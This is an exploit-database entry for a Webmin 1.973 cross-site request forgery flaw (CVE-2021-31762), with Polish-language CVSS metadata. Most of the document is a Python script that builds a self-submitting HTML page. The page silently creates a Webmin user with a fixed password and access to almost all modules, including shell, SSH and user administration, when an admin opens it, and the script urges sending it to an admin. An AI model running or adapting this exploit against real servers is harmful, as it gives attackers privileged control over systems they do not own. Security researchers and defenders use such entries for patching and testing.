Webmin 1.973 Cross Site Request Forgery

2021.07.14
Credit: Mesh3l_911
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: Webmin 1.973 - Cross-Site Request Forgery (CSRF) # Date: 24/04/2021 # Exploit Author: *Mesh3l_911 & Z0ldyck # Vendor Homepage: https://www.webmin.com # Repo Link: https://github.com/Mesh3l911/CVE-2021-31762 # Version: Webmin 1.973 # Tested on: All versions <= 1.973 # CVE : CVE-2021-31762 # POC: https://youtu.be/qCvEXwyaF5U import time, subprocess print('''\033[1;37m __ __ _ ____ _ _________ _ _ _ | \/ | | | |___ \| | |___ / _ \| | | | | | | \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __ | |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ / | | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| < |_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/ __/ | |___/ \033[1;m''') for i in range(101): print( "\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format( i), "\033[1;36m%\033[1;m", end="") time.sleep(0.02) print("\n\n") target = input( "\033[1;36m \nPlease input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m") if target.endswith('/'): target = target + 'acl/save_user.cgi' else: target = target + '/acl/save_user.cgi' def CSRF_Generator(): with open('CSRF_POC.html', 'w') as POC: POC.write \ (''' <html> <head> <meta name="referrer" content="never"> </head> <body> <script>history.pushState('', '', '/')</script> <form action="'''+target+'''" method="POST"> <input type="hidden" name="safe" value="" /> <input type="hidden" name="name" value="Mesh3l&#95;Z0ldyck" /> <input type="hidden" name="pass&#95;def" value="0" /> <input type="hidden" name="pass" value="Mesh3l&#95;Z0ldyck123" /> <input type="hidden" name="real" value="Mesh3l&#95;Z0ldyck" /> <input type="hidden" name="cert&#95;def" value="1" /> <input type="hidden" name="lang&#95;def" value="1" /> <input type="hidden" name="lang" value="af" /> <input type="hidden" name="notabs" value="0" /> <input type="hidden" name="theme&#95;def" value="1" /> <input type="hidden" name="theme" value="" /> <input type="hidden" name="overlay&#95;def" value="1" /> <input type="hidden" name="overlay" value="overlay&#45;theme" /> <input type="hidden" name="logouttime&#95;def" value="1" /> <input type="hidden" name="minsize&#95;def" value="1" /> <input type="hidden" name="ipmode" value="0" /> <input type="hidden" name="ips" value="" /> <input type="hidden" name="days&#95;def" value="1" /> <input type="hidden" name="hours&#95;def" value="1" /> <input type="hidden" name="hours&#95;hfrom" value="" /> <input type="hidden" name="hours&#95;mfrom" value="" /> <input type="hidden" name="hours&#95;hto" value="" /> <input type="hidden" name="hours&#95;mto" value="" /> <input type="hidden" name="mod" value="backup&#45;config" /> <input type="hidden" name="mod" value="change&#45;user" /> <input type="hidden" name="mod" value="webmincron" /> <input type="hidden" name="mod" value="usermin" /> <input type="hidden" name="mod" value="webminlog" /> <input type="hidden" name="mod" value="webmin" /> <input type="hidden" name="mod" value="help" /> <input type="hidden" name="mod" value="servers" /> <input type="hidden" name="mod" value="acl" /> <input type="hidden" name="mod" value="bacula&#45;backup" /> <input type="hidden" name="mod" value="init" /> <input type="hidden" name="mod" value="passwd" /> <input type="hidden" name="mod" value="quota" /> <input type="hidden" name="mod" value="mount" /> <input type="hidden" name="mod" value="fsdump" /> <input type="hidden" name="mod" value="ldap&#45;client" /> <input type="hidden" name="mod" value="ldap&#45;useradmin" /> <input type="hidden" name="mod" value="logrotate" /> <input type="hidden" name="mod" value="mailcap" /> <input type="hidden" name="mod" value="mon" /> <input type="hidden" name="mod" value="pam" /> <input type="hidden" name="mod" value="certmgr" /> <input type="hidden" name="mod" value="proc" /> <input type="hidden" name="mod" value="at" /> <input type="hidden" name="mod" value="cron" /> <input type="hidden" name="mod" value="sentry" /> <input type="hidden" name="mod" value="man" /> <input type="hidden" name="mod" value="syslog" /> <input type="hidden" name="mod" value="syslog&#45;ng" /> <input type="hidden" name="mod" value="system&#45;status" /> <input type="hidden" name="mod" value="useradmin" /> <input type="hidden" name="mod" value="apache" /> <input type="hidden" name="mod" value="bind8" /> <input type="hidden" name="mod" value="pserver" /> <input type="hidden" name="mod" value="dhcpd" /> <input type="hidden" name="mod" value="dhcp&#45;dns" /> <input type="hidden" name="mod" value="dovecot" /> <input type="hidden" name="mod" value="exim" /> <input type="hidden" name="mod" value="fetchmail" /> <input type="hidden" name="mod" value="foobar" /> <input type="hidden" name="mod" value="frox" /> <input type="hidden" name="mod" value="jabber" /> <input type="hidden" name="mod" value="ldap&#45;server" /> <input type="hidden" name="mod" value="majordomo" /> <input type="hidden" name="mod" value="htpasswd&#45;file" /> <input type="hidden" name="mod" value="minecraft" /> <input type="hidden" name="mod" value="mysql" /> <input type="hidden" name="mod" value="openslp" /> <input type="hidden" name="mod" value="postfix" /> <input type="hidden" name="mod" value="postgresql" /> <input type="hidden" name="mod" value="proftpd" /> <input type="hidden" name="mod" value="procmail" /> <input type="hidden" name="mod" value="qmailadmin" /> <input type="hidden" name="mod" value="mailboxes" /> <input type="hidden" name="mod" value="sshd" /> <input type="hidden" name="mod" value="samba" /> <input type="hidden" name="mod" value="sendmail" /> <input type="hidden" name="mod" value="spam" /> <input type="hidden" name="mod" value="squid" /> <input type="hidden" name="mod" value="sarg" /> <input type="hidden" name="mod" value="wuftpd" /> <input type="hidden" name="mod" value="webalizer" /> <input type="hidden" name="mod" value="link" /> <input type="hidden" name="mod" value="adsl&#45;client" /> <input type="hidden" name="mod" value="bandwidth" /> <input type="hidden" name="mod" value="fail2ban" /> <input type="hidden" name="mod" value="firewalld" /> <input type="hidden" name="mod" value="ipsec" /> <input type="hidden" name="mod" value="krb5" /> <input type="hidden" name="mod" value="firewall" /> <input type="hidden" name="mod" value="firewall6" /> <input type="hidden" name="mod" value="exports" /> <input type="hidden" name="mod" value="exports&#45;nfs4" /> <input type="hidden" name="mod" value="xinetd" /> <input type="hidden" name="mod" value="inetd" /> <input type="hidden" name="mod" value="pap" /> <input type="hidden" name="mod" value="ppp&#45;client" /> <input type="hidden" name="mod" value="pptp&#45;client" /> <input type="hidden" name="mod" value="pptp&#45;server" /> <input type="hidden" name="mod" value="stunnel" /> <input type="hidden" name="mod" value="shorewall" /> <input type="hidden" name="mod" value="shorewall6" /> <input type="hidden" name="mod" value="itsecur&#45;firewall" /> <input type="hidden" name="mod" value="tcpwrappers" /> <input type="hidden" name="mod" value="idmapd" /> <input type="hidden" name="mod" value="filter" /> <input type="hidden" name="mod" value="burner" /> <input type="hidden" name="mod" value="grub" /> <input type="hidden" name="mod" value="lilo" /> <input type="hidden" name="mod" value="raid" /> <input type="hidden" name="mod" value="lvm" /> <input type="hidden" name="mod" value="fdisk" /> <input type="hidden" name="mod" value="lpadmin" /> <input type="hidden" name="mod" value="smart&#45;status" /> <input type="hidden" name="mod" value="time" /> <input type="hidden" name="mod" value="vgetty" /> <input type="hidden" name="mod" value="iscsi&#45;client" /> <input type="hidden" name="mod" value="iscsi&#45;server" /> <input type="hidden" name="mod" value="iscsi&#45;tgtd" /> <input type="hidden" name="mod" value="iscsi&#45;target" /> <input type="hidden" name="mod" value="cluster&#45;passwd" /> <input type="hidden" name="mod" value="cluster&#45;copy" /> <input type="hidden" name="mod" value="cluster&#45;cron" /> <input type="hidden" name="mod" value="cluster&#45;shell" /> <input type="hidden" name="mod" value="cluster&#45;shutdown" /> <input type="hidden" name="mod" value="cluster&#45;usermin" /> <input type="hidden" name="mod" value="cluster&#45;useradmin" /> <input type="hidden" name="mod" value="cluster&#45;webmin" /> <input type="hidden" name="mod" value="cfengine" /> <input type="hidden" name="mod" value="heartbeat" /> <input type="hidden" name="mod" value="shell" /> <input type="hidden" name="mod" value="custom" /> <input type="hidden" name="mod" value="disk&#45;usage" /> <input type="hidden" name="mod" value="export&#45;test" /> <input type="hidden" name="mod" value="ftelnet" /> <input type="hidden" name="mod" value="filemin" /> <input type="hidden" name="mod" value="flashterm" /> <input type="hidden" name="mod" value="tunnel" /> <input type="hidden" name="mod" value="file" /> <input type="hidden" name="mod" value="phpini" /> <input type="hidden" name="mod" value="cpan" /> <input type="hidden" name="mod" value="htaccess&#45;htpasswd" /> <input type="hidden" name="mod" value="telnet" /> <input type="hidden" name="mod" value="ssh" /> <input type="hidden" name="mod" value="ssh2" /> <input type="hidden" name="mod" value="shellinabox" /> <input type="hidden" name="mod" value="status" /> <input type="hidden" name="mod" value="ajaxterm" /> <input type="hidden" name="mod" value="updown" /> <input type="hidden" name="mod" value="vnc" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ''') POC.close() print( "\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and ur privileged user creds would be \n\nUsername: \033[1;m\033[1;37mMesh3l_Z0ldyck\033[1;m\n\033[1;36mPassword:\033[1;m \033[1;37mMesh3l_Z0ldyck123\n\033[1;m\n\n\033[1;36mHappy Hunting ^_^ \n\033[1;m") def main(): CSRF_Generator() if __name__ == '__main__': main()


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